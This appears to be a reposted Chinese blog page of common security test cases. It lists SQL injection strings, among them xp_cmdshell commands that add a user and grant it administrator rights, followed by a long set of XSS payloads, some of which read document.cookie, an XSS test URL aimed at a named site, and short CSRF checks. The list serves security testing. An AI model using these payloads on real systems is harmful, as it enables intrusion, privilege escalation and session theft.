1. 程式人生 > >常用安全測試用例(二)

常用安全測試用例(二)

防止SQL注入

Admin--

‘or ­­­--­­

‘ and ( ) exec insert * % chr mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;

and 1=2 ; ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知欄位)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

簡單的如where xtype=’U’,字元U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=’使用者’,可以用where name=nchar(29992)+nchar(25143)代替。

跨站指令碼攻擊(XSS)

對於 XSS,只需檢查 HTML 輸出並看看您輸入的內容在什麼地方。它在一個 HREF 標記中嗎?是否在 IFRAME 標記中?它在 CLSID 標記中嗎?在 IMG SRC 中嗎?某些 Flash 內容的 PARAM NAME 是怎樣的?

[email protected]#$%^&*()_+<>,./?;'"[]{}\-

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascrip&#116&#58alert(/xss/)

★<img src="#" onerror=alert(/xss/)>

★<img src="#" style="Xss:expression(alert(/xss/));">

★<img src="#"/**/onerror=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg" onmouseover="alert('xss')

★"></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’”>xss&<

★"onmouseover=alert('hello');"

★&{alert('hello');}

★>"'><script>alert(‘XSS')</script>

★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

★%22%2Balert(%27XSS%27)%2B%22

★<table background="javascript:alert(([code])"></table>

★<object type=text/html data="javascript:alert(([code]);"></object>

★<body onload="javascript:alert(([code])"></body>

★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

var from = ‘$!rundata.Parameters.getString(’from’)';

  var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010 /?CID=qingke&tid=tid1010&cityName=天津<script> alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

跨站請求偽造(CSRF)

同個瀏覽器開啟兩個頁面,一個頁面許可權失效後,另一個頁面是否可操作成功。

當頁面沒有CHECKCODE時,檢視頁面原始碼,查是是否有token。如果頁面完全是展示頁面,是不會有token的。